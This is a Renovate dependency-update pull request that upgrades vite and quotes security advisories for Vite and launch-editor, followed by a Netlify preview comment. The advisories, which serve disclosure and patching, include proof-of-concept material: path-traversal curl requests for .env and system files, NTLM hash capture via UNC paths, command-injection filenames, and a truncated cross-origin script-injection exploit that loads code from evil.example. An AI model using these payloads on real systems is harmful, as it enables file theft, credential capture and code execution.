[renovate]

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
vite (source)	7.0.6 → 7.3.7

---

Vite's server.fs settings were not applied to HTML files

CVE-2025-58752 / GHSA-jqfw-vq24-v9c3

More information

Details

Summary

Any HTML files on the machine were served regardless of the server.fs settings.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• appType: 'spa' (default) or appType: 'mpa' is used

This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.

Details

The serveStaticMiddleware function is in charge of serving static files from the server. It returns the viteServeStaticMiddleware function which runs the needed tests and serves the page. The viteServeStaticMiddleware function checks if the extension of the requested file is ".html". If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case htmlFallbackMiddleware, and then to indexHtmlMiddleware. These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.

PoC

Execute the following shell commands:

npm  create  vite@latest
cd vite-project/
echo  "secret" > /tmp/secret.html
npm install
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'

The contents of /tmp/secret.html will be returned.

This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell:

echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})'  >  [vite.config.js](http://vite.config.js)
mkdir secret_files
echo "secret txt" > secret_files/secret.txt
echo "secret html" > secret_files/secret.html
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'

You will receive a 403 HTTP Response,  because everything in the secret_files directory is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'

You will receive the contents of secret_files/secret.html.

Severity

• CVSS Score: 2.3 / 10 (Low)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-jqfw-vq24-v9c3
• https://nvd.nist.gov/vuln/detail/CVE-2025-58752
• https://github.com/vitejs/vite/commit/0ab19ea9fcb66f544328f442cf6e70f7c0528d5f
• https://github.com/vitejs/vite/commit/14015d794f69accba68798bd0e15135bc51c9c1e
• https://github.com/vitejs/vite/commit/482000f57f56fe6ff2e905305100cfe03043ddea
• https://github.com/vitejs/vite/commit/6f01ff4fe072bcfcd4e2a84811772b818cd51fe6
• https://github.com/vitejs/vite/blob/v7.1.5/packages/vite/CHANGELOG.md
• https://github.com/advisories/GHSA-jqfw-vq24-v9c3

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Vite middleware may serve files starting with the same name with the public directory

CVE-2025-58751 / GHSA-g4jq-h2w9-997c

More information

Details

Summary

Files starting with the same name with the public directory were served bypassing the server.fs settings.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• uses the public directory feature (enabled by default)
• a symlink exists in the public directory

Details

The servePublicMiddleware function is in charge of serving public files from the server. It returns the viteServePublicMiddleware function which runs the needed tests and serves the page. The viteServePublicMiddleware function checks if the publicFiles variable is defined, and then uses it to determine if the requested page is public. In the case that the publicFiles is undefined, the code will treat the requested page as a public page, and go on with the serving function. publicFiles may be undefined if there is a symbolic link anywhere inside the public directory. In that case, every requested page will be passed to the public serving function. The serving function is based on the sirv library. Vite patches the library to add the possibility to test loading access to pages, but when the public page middleware disables this functionality since public pages are meant to be available always, regardless of whether they are in the allow or deny list.

In the case of public pages, the serving function is provided with the path to the public directory as a root directory. The code of the sirv library uses the join function to get the full path to the requested file. For example, if the public directory is "/www/public", and the requested file is "myfile", the code will join them to the string "/www/public/myfile". The code will then pass this string to the normalize function. Afterwards, the code will use the string's startsWith function to determine whether the created path is within the given directory or not. Only if it is, it will be served.

Since sirv trims the trailing slash of the public directory, the string's startsWith function may return true even if the created path is not within the public directory. For example, if the server's root is at "/www", and the public directory is at "/www/p", if the created path will be "/www/private.txt", the startsWith function will still return true, because the string "/www/private.txt" starts with  "/www/p". To achieve this, the attacker will use ".." to ask for the file "../private.txt". The code will then join it to the "/www/p" string, and will receive "/www/p/../private.txt". Then, the normalize function will return "/www/private.txt", which will then be passed to the startsWith function, which will return true, and the processing of the page will continue without checking the deny list (since this is the public directory middleware which doesn't check that).

PoC

Execute the following shell commands:

npm  create  vite@latest
cd vite-project/
mkdir p
cd p
ln -s a b
cd ..
echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({publicDir: path.resolve(__dirname, "p/"), server: {fs: {deny: [path.resolve(__dirname, "private.txt")]}}})' > vite.config.js
echo  "secret" > private.txt
npm install
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/private.txt'

You will receive a 403 HTTP Response,  because private.txt is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/../private.txt'

You will receive the contents of private.txt.

Related links

• lukeed/sirv@f0113f3

Severity

• CVSS Score: 2.3 / 10 (Low)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-g4jq-h2w9-997c
• https://nvd.nist.gov/vuln/detail/CVE-2025-58751
• https://github.com/lukeed/sirv/commit/f0113f3f8266328d804ee808f763a3c11f8997eb
• https://github.com/vitejs/vite/commit/09f2b52e8d5907f26602653caf41b3a56692600d
• https://github.com/vitejs/vite/commit/4f1c35bcbb5830290c694aa14b6789e07450f069
• https://github.com/vitejs/vite/commit/63e2a5d232218f3f8d852056751e609a5367aaec
• https://github.com/vitejs/vite/commit/e11d24008b97d4ca731ecc1a3b95260a6d12e7e0
• https://github.com/advisories/GHSA-g4jq-h2w9-997c

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

vite allows server.fs.deny bypass via backslash on Windows

CVE-2025-62522 / GHSA-93m4-6634-74q7

More information

Details

Summary

Files denied by server.fs.deny were sent if the URL ended with \ when the dev server is running on Windows.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• running the dev server on Windows

Details

server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns). These patterns were able to bypass by using a back slash(\). The root cause is that fs.readFile('/foo.png/') loads /foo.png.

PoC

npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env\ http://localhost:5173

Severity

• CVSS Score: 6.0 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-93m4-6634-74q7
• https://github.com/vitejs/vite/commit/f479cc57c425ed41ceb434fecebd63931b1ed4ed
• https://nvd.nist.gov/vuln/detail/CVE-2025-62522
• https://github.com/advisories/GHSA-93m4-6634-74q7

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Vite Vulnerable to Arbitrary File Read via Vite Dev Server WebSocket

CVE-2026-39363 / GHSA-p9ff-h696-f583

More information

Details

Summary

server.fs check was not enforced to the fetchModule method that is exposed in Vite dev server's WebSocket.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• WebSocket is not disabled by server.ws: false

Arbitrary files on the server (development machine, CI environment, container, etc.) can be exposed.

Details

If it is possible to connect to the Vite dev server’s WebSocket without an Origin header, an attacker can invoke fetchModule via the custom WebSocket event vite:invoke and combine file://... with ?raw (or ?inline) to retrieve the contents of arbitrary files on the server as a JavaScript string (e.g., export default "...").

The access control enforced in the HTTP request path (such as server.fs.allow) is not applied to this WebSocket-based execution path.

PoC

1. Start the dev server on the target
   Example (used during validation with this repository):

   pnpm -C playground/alias exec vite --host 0.0.0.0 --port 5173

2. Confirm that access is blocked via the HTTP path (example: arbitrary file)

   curl -i 'http://localhost:5173/@fs/etc/passwd?raw'

   Result: 403 Restricted (outside the allow list)
   

3. Confirm that the same file can be retrieved via the WebSocket path
   By connecting to the HMR WebSocket without an Origin header and sending a vite:invoke request that calls fetchModule with a file://... URL and ?raw, the file contents are returned as a JavaScript module.

Severity

• CVSS Score: 8.2 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-p9ff-h696-f583
• https://github.com/vitejs/vite/pull/22159
• https://github.com/vitejs/vite/commit/f02d9fde0b195afe3ea2944414186962fbbe41e0
• https://github.com/vitejs/vite/releases/tag/v6.4.2
• https://github.com/vitejs/vite/releases/tag/v7.3.2
• https://github.com/vitejs/vite/releases/tag/v8.0.5
• https://nvd.nist.gov/vuln/detail/CVE-2026-39363
• https://github.com/advisories/GHSA-p9ff-h696-f583

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Vite Vulnerable to Path Traversal in Optimized Deps .map Handling

CVE-2026-39365 / GHSA-4w7w-66w2-5vf9

More information

Details

Summary

Any files ending with .map even out side the project can be returned to the browser.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• have a sensitive content in files ending with .map and the path is predictable

Details

In Vite v7.3.1, the dev server’s handling of .map requests for optimized dependencies resolves file paths and calls readFile without restricting ../ segments in the URL. As a result, it is possible to bypass the server.fs.strict allow list and retrieve .map files located outside the project root, provided they can be parsed as valid source map JSON.

PoC

1. Create a minimal PoC sourcemap outside the project root

   cat > /tmp/poc.map <<'EOF'
   {"version":3,"file":"x.js","sources":[],"names":[],"mappings":""}
   EOF

2. Start the Vite dev server (example)

   pnpm -C playground/fs-serve dev --host 127.0.0.1 --port 18080

3. Confirm that direct /@fs access is blocked by strict (returns 403)
   
4. Inject ../ segments under the optimized deps .map URL prefix to reach /tmp/poc.map
   

Severity

• CVSS Score: 6.3 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-4w7w-66w2-5vf9
• https://github.com/vitejs/vite/pull/22161
• https://github.com/vitejs/vite/commit/79f002f2286c03c88c7b74c511c7f9fc6dc46694
• https://github.com/vitejs/vite/releases/tag/v6.4.2
• https://github.com/vitejs/vite/releases/tag/v7.3.2
• https://github.com/vitejs/vite/releases/tag/v8.0.5
• https://nvd.nist.gov/vuln/detail/CVE-2026-39365
• https://github.com/advisories/GHSA-4w7w-66w2-5vf9

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

vite: server.fs.deny bypass on Windows alternate paths

CVE-2026-53571 / GHSA-fx2h-pf6j-xcff

More information

Details

Summary

The contents of files that are specified by server.fs.deny can be returned to the browser on Windows.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• the sensitive file exists in the allowed directories specified by server.fs.allow
• either of:
  • the sensitive file exists in an NTFS volume
  • the dev server is running on Windows and the sensitive file exists in a volume that 8.3 short name generation is enabled (it is enabled by default on system volumes)

Details

Vite’s dev server denies direct access to sensitive files through server.fs.deny, including entries such as .env, .env.*, and *.{crt,pem}. However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied.
Because of this, requests such as /.env::$DATA?raw are treated as allowed paths, while Windows resolves them to the original file's default data stream.

Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

Access via browser at http://localhost:5173/.env::$DATA?raw

Example expected result:

• /.env::$DATA?raw returns the contents of .env
• /tls.pem::$DATA?raw returns the contents of tls.pem

Severity

• CVSS Score: 6.9 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-fx2h-pf6j-xcff
• https://nvd.nist.gov/vuln/detail/CVE-2026-53571
• https://github.com/advisories/GHSA-fx2h-pf6j-xcff

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows

CVE-2026-53632 / GHSA-v6wh-96g9-6wx3

More information

Details

Summary

The launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.

Impact

If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the launch-editor:

• using Windows
• NTLM is not disabled (it is recommended to disable, while it's still enabled by default)
• the user accesses the attackers website that sends request to a middleware using launch-editor
• the server that has the middleware using launch-editor is running
• the attacker knows the URL for that server and the middleware

This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.

Details

launch-editor accepts file paths without validating or restricting Windows UNC paths such as:

\\attacker-host\share

On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.

If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.

The attacker could target a developer that uses a development server using launch-editor to develop code locally, send them a link and grab their NTLMv2 hash.

PoC

From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use smbserver.py here.

First, let's create a directory to serve as an SMB share.

mkdir /tmp/data
echo "Hello world" > /tmp/data/test.txt

Then, start the SMB server.

$ sudo smbserver.py -smb2support -debug share /tmp/data

Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (vite).

Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use curl to achieve the same.

curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'

Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of smbserver.py and see the NTLMv2 hash coming in.

Severity

• CVSS Score: 5.5 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H

References

• https://github.com/vitejs/launch-editor/security/advisories/GHSA-v6wh-96g9-6wx3
• https://github.com/advisories/GHSA-v6wh-96g9-6wx3

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

launch-editor: escapeCmdArgs() omits % escaping on Windows

CVE-2026-112943 / GHSA-698v-4r3x-3vcv

More information

Details

Summary

launch-editor did not escape % on Windows when passing an argument to cmd. When an environment variable contained a malicious value, it was possible that that content to be executed.

Impact

Only apps that match all of the following conditions are affected:

• The user uses Windows
• An attacker can place a file with the malicious filename containing & or %
• Either of
  • An attacker can inject an environment variable with a malicious value
  • An attacker can add a NTFS alternate data stream to the file placed

Details

Unlike .sh files, .bat / .cmd files on Windows cannot be called directly using child_process.spawn and requires passing them as an argument of cmd.exe. To do so, launch-editor escapes the arguments passed to cmd.exe. But launch-editor did not escape % which is used for environment variables.

Because launch-editor checks if the argument matches an existing filename, the attack requires the attacker to be able to place a file.

• If the attacker can inject an environment variable as well, they can include the subcommand in the env variable (e.g. set &calc.exe to %ENV%) and call launchEditor with something%ENV%.
• If the attacker can place a NTFS alternate data stream to the file (e.g. a NTFS alternate data stream named ~-38%calc.exe), they can call launchEditor with something %CMDCMDLINE:~-38%calc.exe.
• If the attacker can create a filename containing the %CD% and the subcommand (e.g. &calc.exe ), they can call launchEditor with ./%CD%

Severity

• CVSS Score: 6.3 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/launch-editor/security/advisories/GHSA-698v-4r3x-3vcv
• https://nvd.nist.gov/vuln/detail/CVE-2026-112943
• https://github.com/vitejs/launch-editor/pull/155
• https://github.com/vitejs/launch-editor/commit/3c2f9bf2ff8fe63d056a8f9cc52d825b66ca79fc
• https://github.com/vitejs/launch-editor/releases/tag/v2.14.2
• https://github.com/advisories/GHSA-698v-4r3x-3vcv

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

launch-editor: fs.existsSync() existence check can be bypassed on Windows

CVE-2026-112942 / GHSA-587h-7wmj-h5pm

More information

Details

Summary

launch-editor checked fs.existsSync(fileName) before passing a supplied path to an editor command. On Windows, an attacker can bypass this check with a crafted path ending in \\..:line:column. This removes the requirement that the attacker be able to place a file with a malicious filename.

Combined with the % escaping issue described in GHSA-698v-4r3x-3vcv, this bypass can lead to OS command injection when an attacker controls the file argument.

Impact

Only apps that runs on Windows is affected.

Details

The earlier advisory assumed that fs.existsSync() required an attacker-controlled filename to exist. This advisory covers a bypass of that requirement.

A crafted value ending in \\..:1:1 is interpreted differently by launch-editor-middleware, launch-editor, and Windows:

1. launch-editor-middleware calls path.resolve() while the final path component is ..:1:1, so it is not treated as a parent-directory component.
2. launch-editor treats :1:1 as a line-and-column suffix and removes it, leaving a path ending in \\...
3. On Windows, fs.existsSync() accepts the resulting path as the existing parent directory even though the attacker-controlled preceding component does not exist.
4. Because the existence check passes, the crafted filename reaches the Windows shell command.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/launch-editor/security/advisories/GHSA-587h-7wmj-h5pm
• https://nvd.nist.gov/vuln/detail/CVE-2026-112942
• https://github.com/vitejs/launch-editor/commit/f13cd835d4b8e860b1d4d080ad8a490cc2463679
• https://github.com/vitejs/launch-editor/releases/tag/v2.14.2
• https://github.com/advisories/GHSA-587h-7wmj-h5pm

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

launch-editor: Editor CLI flag misinterpretation causing arbitrary command execution for some editors

CVE-2026-112944 / GHSA-r825-w8mm-5pxw

More information

Details

Summary

launch-editor forwarded file paths directly to editors without sanitization. If a path resembles a CLI flag, editors like Vim may interpret it as a command, potentially causing unintended file overwrites or command execution.

Impact

Direct launch-editor users

Only apps that match all of the following conditions are affected:

• The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
• The user uses or the app specifies any of the following editors:
  • Vim (including gVim)
  • MacVim
  • Emacs (including Emacsclient)
  • Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
• The first argument of launchEditor can start with + or - or the user is using WSL

launch-editor-middleware users

Only apps that match the following conditions are affected:

• The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
• The user uses or the app specifies any of the following editors:
  • Vim (including gVim)
  • MacVim
  • Emacs (including Emacsclient)
  • Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
• launch-editor older than v2.2.0 is used, or the user is using WSL

Vite users

Only apps that match the following conditions are affected:

• The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
• The user uses or the app specifies any of the following editors:
  • Vim (including gVim)
  • MacVim
  • Emacs (including Emacsclient)
  • Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
• The user is using WSL

Details

launchEditor(file) function passes the file name as-is to the editor if the file with that file name exists. If the file name starts with - (also + for Vim), the editor treats them as flags rather than positional arguments. For example, Vim treats arguments starting with + as an Ex command. As a result, an existing relative directory such as:

+call writefile(["SAFE_MARKER"],"LAUNCH_EDITOR_MARKER")|qa!

is not treated as a filename when passed to Vim. Vim executes the embedded Ex command.

The following editor has a potentially destructive operation exposed to the CLI arguments:

• Vim (including gVim)
• MacVim
• Emacs (including Emacsclient)
• Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)

launch-editor-middleware v2.2.0+ converts the passed file path to an absolute path so those are not affected as long as the user is not using WSL. For WSL, launch-editor converts the paths to relative paths internally, so those are still affected.

Vite 2.0.0+ uses launch-editor-middleware v2.2.0+ so the WSL users are only affected.

Severity

• CVSS Score: 6.3 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/launch-editor/security/advisories/GHSA-r825-w8mm-5pxw
• https://nvd.nist.gov/vuln/detail/CVE-2026-112944
• https://github.com/vitejs/launch-editor/pull/156
• https://github.com/vitejs/launch-editor/commit/f6e6701bb1f16f2dd242b321374f1b6cca6eb6d4
• https://github.com/vitejs/launch-editor/releases/tag/v2.14.2
• https://github.com/advisories/GHSA-r825-w8mm-5pxw

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Vite: Files outside server.fs.allow could be served when project paths match system paths on non-Windows machine

CVE-2026-112946 / GHSA-rq7h-c2jc-7f22

More information

Details

Summary

The content of files outside server.fs setting can be returned to the browser if the project imports a file path concatenated with the root. For example, if the project references <path-to-project-root>/etc/hosts, the content of /etc/hosts was possible to be returned.

The content of files outside the server.fs.allow option can be returned to the browser when a project imports a file whose root-relative path matches an absolute path on the host. For example, referencing <project-root>/etc/hosts could make Vite return the host's /etc/hosts file.

Impact

Only apps that meet all of the following conditions are affected:

• explicitly expose the Vite dev server to the network (using --host or the server.host option)
• contain an imported file whose root-relative browser URL is also the absolute path of a readable file on the host
• The sensitive file is not matched by server.fs.deny
• the dev server is not running on Windows

Details

When Vite analyzes an in-root import, it rewrites the resolved module ID to a browser URL such as /etc/hostname. In affected versions, Vite converts that URL with fsPathFromUrl and adds the result to safeModulePaths. Because fsPathFromUrl ensures a leading slash without resolving the URL against the project root, the project URL /etc/hostname is recorded as if it were the absolute filesystem path /etc/hostname.

For a later request to /@fs/etc/hostname, the raw-filesystem middleware interprets /etc/hostname as an absolute path. The access check applies server.fs.deny, then accepts paths present in safeModulePaths before checking server.fs.allow. As a result, the request can return the host file instead of the project file that originally populated safeModulePaths.

PoC

The following example requires Linux with a readable /etc/hostname:

$ mkdir vite-safe-module-path-poc
$ cd vite-safe-module-path-poc
$ npm init -y
$ npm install vite@8.3.1
$ mkdir -p etc
$ echo 'PROJECT-DECOY\n' > etc/hostname
$ echo 'import "./etc/hostname"\n' > main.js
$ npx vite --host 127.0.0.1

In another terminal:

$ curl -o /dev/null -s -w '%{http_code}\n' http://127.0.0.1:5173/main.js
200
$ curl -sS -o response -w '%{http_code}\n' http://127.0.0.1:5173/@fs/etc/hostname
200
$ cmp -s response /etc/hostname && echo 'response matches host file'
response matches host file

Severity

• CVSS Score: 6.3 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-rq7h-c2jc-7f22
• https://nvd.nist.gov/vuln/detail/CVE-2026-112946
• https://github.com/vitejs/vite/pull/23656
• https://github.com/vitejs/vite/commit/170b92791421bcd484f7325936d989a82d6bd4aa
• https://github.com/vitejs/vite/commit/45c0e3392a298626955a0ab93a8e51232daac721
• https://github.com/vitejs/vite/commit/c3e06f92e969952466b4e2f5801e85e1e00cd905
• https://github.com/vitejs/vite/commit/e570d8d016096b5f8f6f09808376ca6cf73f27d0
• https://github.com/vitejs/vite/commit/f0d76c7da13d5e794807b82f0b86c1931a8438e3
• https://github.com/advisories/GHSA-rq7h-c2jc-7f22

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Vite: Cross origin script execution through Vite custom middleware

CVE-2026-112945 / GHSA-9jrq-w75r-8gcw

More information

Details

Summary

When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.

Impact

Only apps that match the following conditions are affected:

• the dev server passes an unchanged browser request URL to server.transformIndexHtml: this is normally used for server.middlewareMode: true or appType: 'custom'. The internal call for appType: 'spa' and appType: 'mpa' does not match this.
• the transformed HTML contains an inline module script
• from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions

Details

Vite's SSR guide for 8.2.1 documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:

const url = req.originalUrl
template = await vite.transformIndexHtml(url, template)

For a development server at http://localhost:5173, an attacker can send this URL:

http://localhost:5173//evil.example/payload.js?/../../package.json

In Vite 8.2.1, createDevHtmlTransformFn and getHtmlFilename in indexHtml.ts use the request URL as both the transform path and the input to path.join. The value passed to path.join still includes its query text.

Chromium preserves /../../package.json because it follows ? and is therefore query text. Vite treats the same characters as filesystem path components, so the .. components resolve the derived filename to the existing project package.json.

The existing file branch in indexHtml.ts checks that filename with fs.existsSync, then preserves the htmlPath supplied by the attacker as proxyModuleUrl. The inline module rewrite in the same file writes that value into the generated src:

<script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script>

The generated value is a valid URL. Its leading // tells the browser to request the module from evil.example using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.

PoC

import { createServer as createHttpServer } from 'node:http'
import { createRequire } from 'node:module'
import { dirname, join } from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'

const directory = dirname(fileURLToPath(import.meta.url))
const require = createRequire(join(directory, 'package.json'))
const { chromium } = require('playwright-chromium')
const viteModule = await import(
  pathToFileURL(require.resolve('vite')).href
)
const createViteServer =
  viteModule.createServer ?? viteModule.default.createServer

// This loopback server stands in for a separately hosted attacker website.
const attackerPort = 4173
const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`
const html = '<script type="module">document.body.textContent = "Vite app"</script>'

const listen = (server, port = 0) =>
  new Promise((resolve, reject) => {
    server.once('error', reject)
    server.listen(port, '127.0.0.1', () => {
      server.off('error', reject)
      resolve(server.address().port)
    })
  })

const close = (server) =>
  new Promise((resolve, reject) => {
    server.close((error) => (error ? reject(error) : resolve()))
  })

let attackerRequest = null
const attacker = createHttpServer((request, response) => {
  attackerRequest = request.url
  response.writeHead(200, {
    'access-control-allow-origin': '*',
    'content-type': 'text/javascript',
  })
  response.end(
    "document.documentElement.dataset.viteXssPoc = 'executed'",
  )
})

const vite = await createViteServer({
  appType: 'custom',
  configFile: false,
  root: directory,
  server: {
    hmr: false,
    middlewareMode: true,
    watch: null,
  },
})

const application = createHttpServer((request, response) => {
  vite.middlewares(request, response, async (error) => {
    if (error) {
      response.destroy(error)
      return
    }

    try {
      const transformed = await vite.transformIndexHtml(request.url, html)
      response.writeHead(200, { 'content-type': 'text/html' })
      response.end(transformed)
    } catch (transformError) {
      response.destroy(transformError)
    }
  })
})

await listen(attacker, attackerPort)
const applicationPort = await listen(application)
const browser = await chromium.launch({ headless: true })

try {
  const page = await browser.newPage()
  await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`)
  await page.waitForFunction(
    () => document.documentElement.dataset.viteXssPoc === 'executed',
  )

  console.log(`attacker request: ${attackerRequest}`)
  console.log('JavaScript from the attacker server executed in the Vite page')
} finally {
  await browser.close()
  await close(application)
  await 

> [!IMPORTANT]
> ✂ PR body was truncated to here.

[netlify]

✅ Deploy Preview for vite-docs-pt-prod ready!

Name	Link
🔨 Latest commit	8d30c2c
🔍 Latest deploy log	https://app.netlify.com/projects/vite-docs-pt-prod/deploys/6aed10f55ab3e45747df9b0c
😎 Deploy Preview	https://deploy-preview-1129--vite-docs-pt-prod.netlify.app
📱 Preview on mobile	Toggle QR Code... Use your smartphone camera to open QR code link.
Lighthouse	1 paths audited Performance: 73 (🔴 down 3 from production) Accessibility: 85 (no change from production) Best Practices: 92 (no change from production) SEO: 92 (no change from production) PWA: - View the detailed breakdown and full score reports
🤖 Make changes	Run an agent on this branch

---

To edit notification comments on pull requests, go to your Netlify project configuration.